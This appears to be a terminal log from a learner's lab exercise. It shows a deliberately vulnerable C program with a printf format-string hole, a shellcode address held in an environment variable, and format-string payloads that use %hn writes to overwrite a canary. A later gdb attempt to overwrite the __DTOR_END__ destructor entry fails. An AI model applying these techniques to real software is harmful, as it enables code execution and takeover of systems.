daan@ubuntu:~/hax/fmt$ export SC=`cat sc`
daan@ubuntu:~/hax/fmt$ ./env SC
SC is located at 0xbffffdf5


daan@ubuntu:~/hax/fmt$ cat vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
	static int canary = 0;
	char temp[2048];

	strcpy(temp, argv[1]);
	printf(temp);
	printf("\n");
	printf("Canary at 0x%08x = 0x%08x\n", &canary, canary);
}

PROOF OF CONCEPT:

./vln `perl -e 'print "\x26\xa0\x04\x08\x24\xa0\x04\x08"'`%.49143x%3\$hn%.15862x%4\$hn
[snip]
Canary at 0x0804a024 = 0xbffffdf5


daan@ubuntu:~/hax/fmt$ nm vln | grep DTOR
08049f20 D __DTOR_END__
08049f1c d __DTOR_LIST__


USE 0x08049f20:

daan@ubuntu:~/hax/fmt$ gdb -q vln
(gdb) break main
Breakpoint 1 at 0x804844d
(gdb) run `perl -e 'print "\x22\x9f\x04\x08\x20\x9f\x04\x20"'`%.49143x%3\$hn%.15862x%4\$hn

Breakpoint 1, 0x0804844d in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.
"�
Canary at 0x0804a024 = 0x00000000
0xb7e65113 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6

(gdb) x/2x 0x08049f1c
0x8049f1c <__DTOR_LIST__>:	0xffffffff	0x00000000


why :(